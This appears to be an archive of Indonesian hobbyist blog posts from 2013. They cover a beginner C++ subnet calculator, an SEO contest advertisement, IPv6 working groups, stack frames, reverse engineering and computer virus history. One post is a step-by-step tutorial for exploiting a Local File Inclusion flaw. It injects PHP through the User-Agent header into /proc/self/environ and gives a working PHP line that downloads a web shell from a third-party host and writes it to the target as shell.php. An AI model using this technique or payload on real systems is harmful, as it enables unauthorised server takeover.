Ayrbyte blog's

Subnet Calculator (C++)

2013-04-22T22:01:00.000-07:00

Berikut ini saya bagi source code subnet calculator, mohon koreksi nya ya barang kali ada yang salah hehehehe.... ^_^

//////////////////////////////
//Program Hitung Subnet
//by : Ayrbyte
//blog : ayrbyte.blogspot.nl <<-- 
//kunjungi blog q ya... 
//and jangan lupa klik iklannya... hehehe... ^_^
//////////////////////////////
#include <iostream>
#include <string>
#include <stdio.h>
using namespace std;

int temp, cidr;
int hps, jnet;
string tempip, no, no1, no2, no3, no4, m2, m3, m4, kelas, kelasa, scidr;
//s 0, bc 1, fh 2, lh 3
short int alldata[4][4];

void baner(){
    cout << "\n-----------------------------------------\n"
            "| Program Hitung Subnet\n"
            "| By : Ayrbyte (orang ganteng sedunia)\n"
            "| blog : ayrbyte.blogspot.nl <<--\n"
            "| ---------------------------------------\n" 
            "| kunjungi blog q ya... \n"
            "|    and jangan lupa klik iklannya...\n" 
            "|          hehehe... ^_^\n"
            "-----------------------------------------\n\n";
}

void invalid(){
    void baner();
    cout << "Input tidak valid... atau program ini gak bisa nemuin jawabannya...\n" 
            "Hehehehe... maklum... yang buat masih NEWBIE pool... ^_^\n" << endl;  
}

short int cekip(string scip){
    short int count, cx;
    temp = 0;
    cx = 0;
    count = 0;
    tempip.clear();
    short int titik = -2;
    temp = scip[0] - 48;
    if ((scip.length() < 16)&&(temp != titik)){
        for(short int x=0; x < scip.length();x++)
        {
            temp = scip[x] - 48;
            if(temp == titik){
              count = count + 1;  
            }
        }
        if(count != 3){
            invalid();
            return 0;
        } 
        temp = 0;
        for(short int i=0; i < scip.length();i++)
        {
             temp = scip[i] - 48;
             if((temp >= 0)and(temp <= 9)or(temp == titik)){
                    if(temp != titik){
                    tempip = temp + 48;
                    no = no + tempip;
                    }else{
                        if(cx == 0){
                            no1 = no;
                        }if(cx == 1){
                            no2 = no;
                        }
                        if(cx == 2){
                            no3 = no;
                        }
                    cx = cx +1;
                    no.clear();
                    }
                    no4 = no;
                }else{ invalid(); return 0; }
              temp = 0;
        }
        temp = atoi(no1.c_str());
        if((temp > 223) or (temp < 1)){ invalid(); return 0; }
        temp = atoi(no2.c_str());
        if((temp > 255) or (temp < 0)){ invalid(); return 0; }
        temp = atoi(no3.c_str());
        if((temp > 255) or (temp < 0)){ invalid(); return 0; }
        temp = atoi(no4.c_str());
        if((temp > 255) or (temp < 0)){ invalid(); return 0; }
    }else{ invalid(); return 0;}
    return 0;
}

void getclass(){
        temp = atoi(no1.c_str());
        if((temp <= 126) and (temp >= 1)){ kelas = "Class A"; }
        temp = atoi(no1.c_str());
        if((temp <= 191) and (temp >= 128)){ kelas = "Class B"; }
        temp = atoi(no1.c_str());
        if((temp <= 223) and (temp >= 192)){ kelas = "Class C"; }
}

void privatorpublic(){
    short int temp1, temp2;
    if(kelas == "Class A"){
        temp1 = atoi(no1.c_str());
        if((temp1 == 10)){
            kelasa = "(Private Addressing)";
        }else{ kelasa = "(Public Addressing)"; }
    }
    if(kelas == "Class B"){
        temp1 = atoi(no1.c_str());
        temp2 = atoi(no2.c_str());
        if((temp1 == 172)&&(temp2 >= 16)&&(temp2 <= 31)){
            kelasa = "(Private Addressing)";
        }else{ kelasa = "(Public Addressing)"; }
    }
    if(kelas == "Class C"){
        temp1 = atoi(no1.c_str());
        temp2 = atoi(no2.c_str());
        if((temp1 == 192)&&(temp2 == 168)){
            kelasa = "(Private Addressing)";
        }else{ kelasa = "(Public Addressing)"; }
    }
}

void nemask(){
    if(kelas == "Class A"){
        switch(cidr){
            case 8: m2 = "0"; m3 = "0"; m4 = "0"; break;
            case 9: m2 = "128"; m3 = "0"; m4 = "0"; break;
            case 10: m2 = "192"; m3 = "0"; m4 = "0"; break;
            case 11: m2 = "224"; m3 = "0"; m4 = "0"; break;
            case 12: m2 = "240"; m3 = "0"; m4 = "0"; break;
            case 13: m2 = "248"; m3 = "0"; m4 = "0"; break;
            case 14: m2 = "252"; m3 = "0"; m4 = "0"; break;
            case 15: m2 = "254"; m3 = "0"; m4 = "0"; break;
            case 16: m2 = "255"; m3 = "0"; m4 = "0"; break;
            case 17: m2 = "255"; m3 = "128"; m4 = "0"; break;
            case 18: m2 = "255"; m3 = "192"; m4 = "0"; break;
            case 19: m2 = "255"; m3 = "224"; m4 = "0"; break;
            case 20: m2 = "255"; m3 = "240"; m4 = "0"; break;
            case 21: m2 = "255"; m3 = "248"; m4 = "0"; break;
            case 22: m2 = "255"; m3 = "252"; m4 = "0"; break;
            case 23: m2 = "255"; m3 = "254"; m4 = "0"; break;
            case 24: m2 = "255"; m3 = "255"; m4 = "0"; break;
            case 25: m2 = "255"; m3 = "255"; m4 = "128"; break;
            case 26: m2 = "255"; m3 = "255"; m4 = "192"; break;
            case 27: m2 = "255"; m3 = "255"; m4 = "224"; break;
            case 28: m2 = "255"; m3 = "255"; m4 = "240"; break;
            case 29: m2 = "255"; m3 = "255"; m4 = "248"; break;
            case 30: m2 = "255"; m3 = "255"; m4 = "252"; break;
        }
    }
    if(kelas == "Class B"){
        switch(cidr){
            case 16: m2 = "255"; m3 = "0"; m4 = "0"; break;
            case 17: m2 = "255"; m3 = "128"; m4 = "0"; break;
            case 18: m2 = "255"; m3 = "192"; m4 = "0"; break;
            case 19: m2 = "255"; m3 = "224"; m4 = "0"; break;
            case 20: m2 = "255"; m3 = "240"; m4 = "0"; break;
            case 21: m2 = "255"; m3 = "248"; m4 = "0"; break;
            case 22: m2 = "255"; m3 = "252"; m4 = "0"; break;
            case 23: m2 = "255"; m3 = "254"; m4 = "0"; break;
            case 24: m2 = "255"; m3 = "255"; m4 = "0"; break;
            case 25: m2 = "255"; m3 = "255"; m4 = "128"; break;
            case 26: m2 = "255"; m3 = "255"; m4 = "192"; break;
            case 27: m2 = "255"; m3 = "255"; m4 = "224"; break;
            case 28: m2 = "255"; m3 = "255"; m4 = "240"; break;
            case 29: m2 = "255"; m3 = "255"; m4 = "248"; break;
            case 30: m2 = "255"; m3 = "255"; m4 = "252"; break;
        }
    }
    if(kelas == "Class C"){
        switch(cidr){
            case 24: m2 = "255"; m3 = "255"; m4 = "0"; break;
            case 25: m2 = "255"; m3 = "255"; m4 = "128"; break;
            case 26: m2 = "255"; m3 = "255"; m4 = "192"; break;
            case 27: m2 = "255"; m3 = "255"; m4 = "224"; break;
            case 28: m2 = "255"; m3 = "255"; m4 = "240"; break;
            case 29: m2 = "255"; m3 = "255"; m4 = "248"; break;
            case 30: m2 = "255"; m3 = "255"; m4 = "252"; break;
        }
    }
}

void jumlahsubnet(){
    int temp1 = 1;
    if(kelas == "Class A"){
        temp = cidr - 8;
        for(int i = 1; i <= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == "Class B"){
        temp = cidr - 16;
        for(int i = 1; i <= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == "Class C"){
        temp = cidr - 24;
        for(int i = 1; i <= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    jnet = temp1;
}

void hostpersubnet(){
    int temp1 = 1;
    if(kelas == "Class A"){
        temp = cidr - 8;
        temp = 24 - temp;
        for(int i = 1; i <= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == "Class B"){
        temp = cidr - 16;
        temp = 16 - temp;
        for(int i = 1; i <= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    if(kelas == "Class C"){
        temp = cidr - 24;
        temp = 8 - temp;
        for(int i = 1; i <= temp;i++){
            temp1 = temp1 * 2;
        }
    }
    temp1 = temp1-2;
    hps = temp1;
}

void network(){
    short int temp1, temp2;
    if(kelas == "Class A"){
        alldata[0][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp = temp1 & temp2;
        alldata[0][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp = temp1 & temp2;
        alldata[0][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp = temp1 & temp2;
        alldata[0][3] = temp;
    }
    if(kelas == "Class B"){
        alldata[0][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp = temp1 & temp2;
        alldata[0][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp = temp1 & temp2;
        alldata[0][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp = temp1 & temp2;
        alldata[0][3] = temp;
    }
    if(kelas == "Class C"){
        alldata[0][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp = temp1 & temp2;
        alldata[0][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp = temp1 & temp2;
        alldata[0][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp = temp1 & temp2;
        alldata[0][3] = temp;
    }
}

void conbc(){
   bool tempbool[8];
   tempbool[0] = 1;
   tempbool[1] = 1;
   cout<<tempbool; 
}

void broadcast(){
    short int temp1, temp2;
    if(kelas == "Class A"){
        alldata[1][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][3] = temp;
    }
    if(kelas == "Class B"){
        alldata[1][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][3] = temp;
    }
    if(kelas == "Class C"){
        alldata[1][0] = atoi(no1.c_str());
        
        temp1 = atoi(no2.c_str());
        temp2 = atoi(m2.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][1] = temp;
        
        temp1 = atoi(no3.c_str());
        temp2 = atoi(m3.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][2] = temp;
        
        temp1 = atoi(no4.c_str());
        temp2 = atoi(m4.c_str());
        temp2 = 256 + ~temp2;
        temp = temp1 | temp2;
        alldata[1][3] = temp;
    }
}

void fhlh(){
    alldata[2][0] = alldata[0][0];
    alldata[2][1] = alldata[0][1];
    alldata[2][2] = alldata[0][2];
    alldata[2][3] = alldata[0][3] + 1;
    
    alldata[3][0] = alldata[1][0];
    alldata[3][1] = alldata[1][1];
    alldata[3][2] = alldata[1][2];
    alldata[3][3] = alldata[1][3] - 1;
}

int main(int argc, char *argv[]){
    baner();
    string cip;
    cidr = 0;
    if(argc == 3){
        scidr = argv[2];
        temp = scidr[0];
        if((scidr.length() > 3)or(temp != 47)or(scidr.length() == 1)){
            invalid(); return 0;
        }
        for(short int i =1; i < scidr.length();i++)
        {
            temp = scidr[i];
            if((temp < 48)or(temp > 57)){
                invalid(); return 0;
            }
            if(scidr[1] == 0){
                invalid(); return 0;
            }
            tempip = temp;
            no = no + tempip;
            tempip.clear();
        }
        cidr = atoi(no.c_str());
        no.clear();
    }
    if(argc > 3){
        invalid(); return 0;
    }
    if(argc == 1){
        baner();
        cout<<"| berikut syntax untuk menggunakan program ini...\n"
              "| hitung.exe no_ip /cidr\n"
              "| contoh : hitung.exe 192.168.100.1 /26\n\n"
              "| catatan : apabila cidr tidak di isi berarti menggunakan default\n"
              "| cidrnya nya masing2... :*\n\n";
              return 0;
    }
    cip = argv[1];
    cekip(cip);
    getclass();
    if(kelas == "Class A"){
        if(cidr == 0){ cidr = 8; }
        if((8 > cidr)or(cidr > 30)){ invalid(); return 0; }
    }
    if(kelas == "Class B"){
        if(cidr == 0){ cidr = 16; }
        if((16 > cidr)or(cidr > 30)){ invalid(); return 0; }
    }
    if(kelas == "Class C"){
        if(cidr == 0){ cidr = 24; }
        if((24 > cidr)or(cidr > 30)){ invalid(); return 0; }
    }
    privatorpublic();
    nemask();
    jumlahsubnet();
    hostpersubnet();
    network();
    broadcast();
    fhlh();
    cout<<  "| ip : "<< no1 << "." << no2 << "." << no3 << "." << no4<<" \n" 
            "| Address Type : "<<kelas<<" "<<kelasa<<"\n"
            "| Sub Netmask : "<<"255"<<"."<<m2<<"."<<m3<<"."<<m4<<" \n"
            "| Jumlah Subnet : "<<jnet<<"\n"
            "| Host Per Subnet : "<<hps<<"\n"
            "| Subnet : "<<alldata[0][0]<<"."<<alldata[0][1]<<"."<<alldata[0][2]<<"."<<alldata[0][3]<<"\n"
            "| Range : "<<alldata[2][0]<<"."<<alldata[2][1]<<"."<<alldata[2][2]<<"."<<alldata[2][3]<<" - "
            <<alldata[3][0]<<"."<<alldata[3][1]<<"."<<alldata[3][2]<<"."<<alldata[3][3]<<"\n"
            "| Broadcast : "<<alldata[1][0]<<"."<<alldata[1][1]<<"."<<alldata[1][2]<<"."<<alldata[1][3]<<"\n";
    //short int x;
    //x = 13 & 24;
    //cout<<x;
    //string tet = "223";
    //short int test = atoi(tet.c_str());
    //cout << tet;
    return 0;
}

Kontes Seo keretamini.com pabrik kereta mini no 1. ready stock

2013-04-22T00:34:00.003-07:00

Halo teman-teman blogger, kali ini saya mau beri informasi nih, tentang kontes seo yang diadakan oleh perusahaan pembuat kereta mini dan mainan anak-anak yaitu keretamini.com

Kereta mini sendiri merupakan perusahaan produsen pembuat kereta mini dan mainan hiburan anak, tepatnya yaitu mainan untuk wahana wisata murah untuk anak-anak, seperti: Kereta Mini, Kereta Mainan Mini, Mini Train, Kincir Angin, Kereta Mall, Helikopter Ganda dan Tunggal, Rumah istana balon, Balon bouncer, Kereta Mini wisata, Kereta mini jalan raya, Kapal ayun, Odong odong, Kolam balon, Funny bumper car, water ball, dan masih banyak beragam mainan lainnya yang di jual murah.

Selain wahana di atas produsen ini juga memproduksi wahana komedi putar yang paling menarik yang bernama Rolling Star atau dikenal dengan sebutan Gajah terbang, Anak - anak dapat naik gajah, kuda dan pesawat yang terbuat dari fiber, yang bisa berputar dan naik - turun, secara lembut, seperti terbang, menarik, menyenangkan, dan aman kerena menggunakan sabuk pengaman. Wahana ini digerakkan dengan menggunakan motor DC, sehingga tidak membahayakan bagi anak-anak. Dan yang paling membanggakan adalah wahana ini merupakan karya anak bangsa Indonesia sendiri ^_^.

Berikut ini beberapa produk dari keretamini.com

Kereta mini pariwisata

Dilengkapi dengan 1 kepala lokomotof model klasik dan 4 gerbong full fiber dengan atap. Kapasitas kereta mini pariwisata ini untuk orang dewasa 18 orang atau 27 orang untuk anak-anak.

Kereta mini pariwisata menggunakan penggerak motor DC dengan sumber daya listrik dari PLN, Rel besi paket 6 x 18 meter dan rel bisa ditambah menyesuaikan lokasi atau taman. Kereta mini wisata ini merupakan barang baru dan siap untuk digunakan. Kereta mini pariwisata cocok untuk mengelilingi taman wisata. Dilengkapi dengan sirine 6 suara, lampu, kotak panel kontrol (timer, switch on off, pengatur kecepatan) Lintasannya bisa mencapai 1 KM. Harga Rp. 42 Juta New

Helikopter Tunggal

Helikopter mainan yang dapat dinaiki 6 - 8 anak, yang dapat bergerak naik turun, berputar dan menungging / inclinasi. ada 3 kombinasi gerakan. sudah komplit dengan carier / pembawanya, tinggal menarik saja, Sumber tenaga bisa dari PLN maupun Disel / genset. Kami Produsen kereta mini punya produk lain yang Sangat cocok untuk indoor maupun out door, ditempat permanen maupun berpindah pindah. Mainan helikopter tunggal ini sangat menarik dan menguntungkan karena sebagai peluang usaha terbaru anda Ada lampu dan sirine 6 suara. Harga Rp. 30 Juta New

Komedi Putar Besar

Komedi kuda putar besar yang sangat manarik cocok utuk di mall dan obyek wisata. kereta mini Digerakan dengan dinamo motor listrik DC sehingga aman dan tidak berisik.Cocok untuk melengkapi kereta mini. Harga mulai dari 85 jt -130jt

Dan masih banyak lagi produk-produk berkualitas berharga murah yang di tawarkan oleh produsen ini, untuk lebih lengkapanya anda dapat berkunjung di situs resminya langsung yaitu www.keretamini.com

Ok, sekarang kita kembali ke pokok pembahasan, yaitu tentang kontes SEO yang di adakan oleh perusahaan ini. Sebelumnya keretamini.com sendiri sudah beberapa kali mengadakan kontes seo untuk pala blogger di tanah air ini, dan di tahun 2013 ini kembali lagi mengadakan kontes SEO dengan hadiah yang cukup besar, berikut ini penjelasan tentang kontes tersebut.




KONTES SEO KERETAMINI.COM Total hadiah Rp 3.700.000 Hadiah! Juara 1 uang tunai Rp.1.500.000 Juara 2 uang tunai Rp.1.000.000 Juara 3 uang tunai Rp.500.000 Juara 4 sampai 10 Rp.100.000 Update untuk juara 11 - 20 hadiah hiburan voucher pulsa 20Ribu Waktu dan Pelaksanaan kontes 1. Dimulai 1 februari 2013 pukul 00.00 WIB – 1 Mei 2013 pukul 00.00 WIB 2. Pengumuman pemenang akan diumumkan di www.keretamini.com paling lambat 5 mei 2013. 3. Target mesin pencari google.co.id Keyword Yang dimainkan "keretamini.com pabrik kereta mini no 1. ready stock" Peraturan dan Syarat Kontes 1. Update Mulai tanggal 12 Maret 2013 bagi peserta yang ingin mendaftar kontes SEO mengirimkan form pendaftaran ke email kami dengan isi : Nama : Alamat : Email : No HP : Alamat URL yang dilombakan : Kirimkan email anda ke pabrikkeretamini@gmail.com dengan subjek atau perihalPendaftaran Kontes SEO 2. Judul artikel bebas dan boleh menggunakan target kata kunci 3. Boleh menggunakan Blog dengan Subdomain, misal Blospot maupun wordpress dll 4. Penulisan artikel harus orisinil. Dan mengunakan bahasa Indonesia yang baik dan benar. 5. Peserta tidak boleh menggunakan domain atau subdomain berisi kata kunci yang dilombakan 6. Tidak diperkenankan memakai iklan PPC untuk promosi blog/website/ artikel. 7. Tidak diperbolehkan mengunakan Metode Black Hat SEO Apabila Peserta kedapatan memakai metode ini maka otomatis akan didiskualifikasi. 8. Blog, Website ataupun Artikel tidak boleh menyinggung SARA, pornografi dan melanggar undang undang yang berlaku di Republik Indonesia. 9. Setiap peserta wajib menulis artikel dengan panjang minimal 400 kata dan harus mencantumkan 5 linkback dengan ancor text: 1 - kereta mini mengarah ke: http://www.keretamini.com 2 - www.keretamini.com mengarah ke http://www.keretamini.com 3 - komedi putar mengarah ke http://www.pabrikkeretamini.com/products/4/0/KOMEDI-PUTAR/ 4 - istana balon mengarah ke http://www.istana-balon.com 5 - Kereta mini mengarah ke http://www.pabrikkeretamini.com/ 10. Peserta wajib memasang banner kontes seo kereta mini tampil di semua page web/blognya. Jika didapati tidak terdapat banner Lomba maka blog anda otomatis diskualifikasi tanpa pemberitahuan terlebih dahulu. (pilih salah satu) ukuran 250x250 ukuran 200x200 ukuran 480x60 11. Artikel atau postingan yang hanya semata-mata berisikan atau memberikan informasi berita Lomba tersebut otomatis akan didiskualifikasi. 12. Minimal Artikel harus terindex 10 hari pada google.co.id, dihitung dari sebelum kontes berakhir. 13. Menampilkankan Timestamp atau waktu pada search result google.co.id 14. Peserta wajib like Facebook Fanspagekehttp://www.facebook.com/pages/Kereta-Mini-Mainan-Anak/202535253181214 15. Wajib menghilangkan komentar yang mengarah ke produsen sesama pembuat mainan kereta mini. 16. Juri Lomba SEO kereta mini memiliki wewenang mutlak atas para pemenang. 17. Daftar pemenang bisa dilihat di halaman web www.keretamini.com dan akan dihubungi via HP maupun Email 18. Peserta yang melanggar peraturan diatas, secara otomatis akan didiskualifikasi. Apabila pada hari terakhir Lomba jumlah peserta dan artikel di Google masih dibawah 50, maka pelaksanaan Lomba akan diperpanjang selama 30 hari. **Peraturan diatas akan selalu berlaku pada bulan berikutnya jika jumlah peserta dan artikel masih dibawah 50.

Ok sekian dulu informasi dari saya, bagi yang berminat mengenai kontes ini gak usah tunggu lama-lama langsung saja ikutan daftar ya...

Akhir kata, Semoga Beruntung... ^_^

Grup-Grup Kerja IPv6

2013-04-12T22:38:00.001-07:00

Berikut merupakan beberapa organisasi atau komunitas yang berperan penting dalam pengembangan dan pemasyarakatan IPv6.

IPv6 Working Group

IPv6 working group merupakan bagian dari IETF working group, diresmikan sebagai group kerja untuk mengembangkan Internet Protocol generasi mendatang, dulunya bernama IP Next Generation Working Group (IPNGWG).

6Bone

6Bone atau IPv6 backbone, didirikan untuk membantu penerapan dan evolusi IPv6 di internet. 6Bone dikonsep tahun 1995.

Next Generation Transition Working Group

Next Generation Transition (ngtrans) working group merupakan bagian dari IETF. Bertanggung jawab dalam perancangan mekanisme dan prosedur-prosedur untuk mendukung transisi-transisi internet dari IPv4 ke IPv6

6ren

6ren merupakan sebuah inisiatif suka rela dari jaringan-jaringan riset dan pendidikan, memberikan transit IPv6, memfasilitasi penerapan IPv6 yang memiliki performasi dan kualitas tinggi. Partisipasi bersifat terbuka untuk semua jaringan (organisasi) riset dan pendidikan yang memberikan layanan IPv6. Baik jaringan profit maupun non-profit dapat bergabung dan berpatisipasi.

IPv6 Forum

IPv6 forum merupakan sebuah konsorsium dunia yang menjembatani vendor-vendor Internet dan jaringan-jaringan riset dan pendidikan, dengan misi mempromosikan IPv6, meningkatkan market dan pengguna IPv6.

alur kerja aplikasi saat di eksekusi

2013-04-12T22:14:00.002-07:00

Bagaimana sih alur sebuah aplikasi ketika di eksekusi dalam sistam...? Saat sebuah aplikasi di eksekusi oleh sistem, ada beberapa kejadian yang tidak terlihat di mata kita. Secara umum, ketika sebuah aplikasi berjalan dan memanggil fungsi2 yang ada di dalam dirinya akan terjadi proses sebagai berikut (Secara berurutan) :>>

1. Fungsi akan dipanggil untuk di eksekusi
2. Register EIP di PUSH ke dalam stack memori
3. Register EBP di PUSH ke dalam stack memori
4. Register EBP menyimpan variabel dari nilai ESP
5. Ruang memori untuk menyimpan variabel local disediakan dengan melakukan perintah SUB dari register ESP sebesar nilai variabel
6. Beberapa kode perintah yang berada di dalam fungsi di eksekusi
7. Nilai variabel yang telah di SUB dari regiseter ESP sekarang dikembalikan ke register ESP
8. Leave dan RET dieksekusi
9. Register EIP di POP dari dalam stack

Dalam dunia pemrograman asembly, step 1 sampai 5 disebut sebagai function prolouge, sedangkan step mulai 6 hingga sembilan disebut function epilogue. ^_^

apa itu Reverse engineering?

2013-04-12T22:01:00.011-07:00

    Reverse engineering adalah sebuah proses untuk mencari dan menemukan teknologi yang bekerja di balik suatu sistem, perangkat atau objek, melalui sebuah proses analisa mendalam pada struktur, fungsi dan cara kerja dari sistem, perangkat atau objek yang di teliti. Secara singkat dapat disimpulkan bahwa reverse engineering adalah sebuah proses peng ekstrakan informasi yang ada pada sebuah sistem.

    Di dalam dunia IT, reverse engineering terkait erat dengan software atau aplikasi yang berjalan pada sebuah sistem. Proses reverse engineering pada sebuah software juga sering di sebut dengan istilah RCE atau Reverse Code Engineering. Biasanya proses RCS bisa delakukan dengan beberapa cara, yaitu:

Disassembly
Disassembly adalah proses melihat kembali bahasa mesin dari aplikasi atau file, pada dasarnya komputer melakukan pembacaan sebuah aplikasi atau file menggunakan bahasa mesin atau bahasa level rendah (Low Level Language), yang biasanya adalah bahasa assembly. Bahasa assembly sendiri adalah bahasa terrendah pada siklus bahasa pemrograman sistem, semua proses software yang di eksekusi oleh komputer pada akhirnya akan di eksekusi menggunakan bahasa assembly meskipun software tersebut dibuat menggunakan bahasa level tinggi (High Level Language) seperti VB, Pascal, C/C++ dll, hal ini yang membuat bahasa assembly menjadi bahasa yang penting dalam proses reverse code engineering.

Decompile
Berbeda dengan proses desaassembly, pada proses decompile, software atau aplikasi akan dibaca dalam bentuk mendekati bahasa asal ketika aplikasi di buat, walaupun terkadang hasil proses decompile juga akan terdapat beberapa penggunaan bahasa assembly di dalamnya. Namun secara umum, hasil yang akan dimunculkan akan menghasilkan sintaks yang menggunakan bahasa yang di gunakan untuk membangun aplikasi atau software yang di decompile, hasil yang muncul adalah source code yang mendekati struktur asli dari aplikasi dalam bentuk bahasa java, misal kita dapat mengetahui fungsi-fungsi yang ada atau variabel yang di gunakan.

Alasan Melakukan Reverse Code Engineering
    Ada banyak alasan mengapa seseorang atau organisasi melakukan reverse engineering. Beberapa alasan yang paling sering muncul di dalam duniaIT adalah:
* Pembuatan ulang dokumentasi, apabila dokumentasi dari sebuah aplikasi hilang
* Cracking, atau pembajakan aplikasi
* Audit keamanan
* Mempelajari aplikasi malware, untuk kepentingan antisipasi serangan
* Analisa produk
* Mencari data sensitif pada sebuah sistem
* Keperluan militer, seperti mata-mata menggunakan software. ^_^

Upload Shell Lewat Celah LFI

2013-02-25T01:44:00.000-08:00

Kali ini kita akan membahas tentang cara upload shell lewat celah LFI (Local File Inclusion)....

Persiapan :
1. target vuln LFI
2. mozilla.
3. "addon live http header" anda bisa mendownloadnya di sini
https://addons.mozilla.org/en/firefox/addon/live-http-headers/
4. mild + segelas susu hangat.... ^_^

pertama2 temukan dulu file /proc/self/environ jika udah ketemu kurang-lebih tampilannya seperti ini...

setelah ketemu... buka addons "Live HTTP Header" centang capture kemudian reload halaman tadi...

kemudian klik HTTP Header lalu klik replay... pada bagian user agent ganti dengan script php <? echo"hallllo....!" ?> untuk mengetes apakah bisa mengeksekusi perintah php... kemudian klik replay...

Lihat pada bagian HTTP_USER_AGENT terdapat string "hallllo....!" yang berarti script kita tadi ter eksekusi... sekarang kita tinggal ulangi langkah2 di atas tapi php scriptnya kita ganti seperti ini...

<?php $file = fopen("shell.php","w+"); $stream = fopen ("http://www.iidaharju.com/wp-content/plugins/akismet/tet.txt", "r"); while(!feof($stream)) { $shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>

script di atas untuk membuat file shell.php yang isinya saya ambil dari sini http://www.iidaharju.com/wp-content/plugins/akismet/tet.txt

kemudian klik reply... lalu buka shell.php di tempat yang sama dengan filetarget yang vuln dengan LFI tadi dan TARRA.... shell telah terupload... ^_^

Download Telnet Versi GUI

2013-02-02T01:41:00.001-08:00

Download Telnet Versi GUI https://www.facebook.com/download/151662398321887/Gui_Telnet.rar

Sejarah Virus Komputer

2013-01-29T23:21:00.002-08:00

Sejarah Virus Komputer

"A program that can infect other programs by modifying them to include a slighty altered copy of itself. A virus can spread throughout a computer sistem or network using the authorization of every user using it to infect their programs. Every programs that gets infected can also act as a virus that infection grows"(Fred Cohen)

Pertama kali istilah "virus" digunakan oleh Fred Cohen pada tahun 1984 di Amerika Serikat. Dinamakan "Virus" arena memiliki beberapa persamaan mendasar dengan virus dalam dunia kedokteran (biological virus).

awalnya adalah suatu jenis permainan/game. Mereka membuat program yang dapat memperbanyak dirinya dan dapat menghancurkan program buatan lawan. Program yang mampu bertahan dan menghancurkan semua program lain akan di anggap sebagai pemenangnya. Permainan tersebut akhirnya menjadi permainan favorit tiap2 lab komputer. Akan tetapi, semakin lama program di ciptakan semakin berbahaya sehingga mereka melakukan pengawasan dan pengamanan yang ketat terhadap permainan tersebut. Pada tahun 1980, program2 yang akhirnya di kenal sebagai "virus" telah menyebar ke luar lingkungan laboratorium dan mulai beredar di masyarakat umum.

Mengapa program tersebut dinamakan virus komputer? Sebenarnya, istilah virus komputer diambil dari istilah biologi, yaitu suatu microorganisme yang memperbanyak dirinya sendiri dengan cara menularkan dirinya kepada organisme lain. Istilah "Virus" diambil di karenakannya adanya kemiripan antara penyebaran program virus ke dalam program2 lain dan mekanisme penyebaran virus biologis ke dalam sel2 makhluk hidup.

Yang menjadi masalah, kenapa para programmer berlomba2 untuk menciptakan virus...? berbeda dengan virus secara Biologi yang terjadi dengan sendirinya, virus komputer mulanya diciptakan hanya sebagai suatu proyek penelitian dari para programmer. Sesuai perkembangan jaman, lama-kelamaan tujuannya beralih kepada hal2 yang bersifat negatif, yaitu digunakan untuk tujuan mengungguli orang lain. Biasanya, para programer yang sanggup membuat virus adalah yang terbaik, dengan kata lain sebagai ukuran apakah orang itu ahli di dalam bidang komputer atau tidak, ada juga yang membuatnya dengan tujuan ngerusak/ngejailin orang lain, akan tetapi ada juga yang sekedar sebagai hobi. Ada virus yang di sebut sebagai "virus baik". dikatakan demikian karena memang bersifat baik, menginfeksi komputer dengan tujuan mempatch system / menghapus virus lain yang bersifat merusak, Namun, perbedaan yang mendasar dengan program lain adalah virus dibuat untuk menulari program2 lainnya, mengubah, memanipulasinya, bahkan sampai merusaknya. Ada yang perlu dicatat di sini bahwa virus hanya akan menulari apabila pemicunya sudah di eksekusi, disinilah di bedakan antara "virus" dengan "worm".

pasti anda pernah bertanya dalam diri sendiri, kenapa komputer saya terkena virus...? sebenarnya, kebanyakan virus menyebar/menginfeksi komputer anda melalui perantara, seperti lewat storrage external. Contohnya, flasdisk yang anda masukkan sudah terinfeksi virus dan anda mengcopykan file yang ada pada flasdisk tersebut ke dalam komputer dan meng eksekusinya, karena ketidak tahuan ini komputer yang tadinya tidak terinfeksi virus sekarang jadi tertular. Namun, semua itu tergantung dari karakteristik virus tersebut. Ada yang langsung menginfeksi ketika flasdisk di dibuka, ada yang menunggu program yang terinfeksi di eksekusi, dan ada juga yang tergantung dengan waktu, Selain lewat media penyimpanan, ada juga yang memanfaatkan fasilitas email di bagian file attachments. Ada beberapa virus yang pada waktu di scan menggunakan program antivirus tidak terdeteksi, Kenapa bisa gagal mendeteksi...?

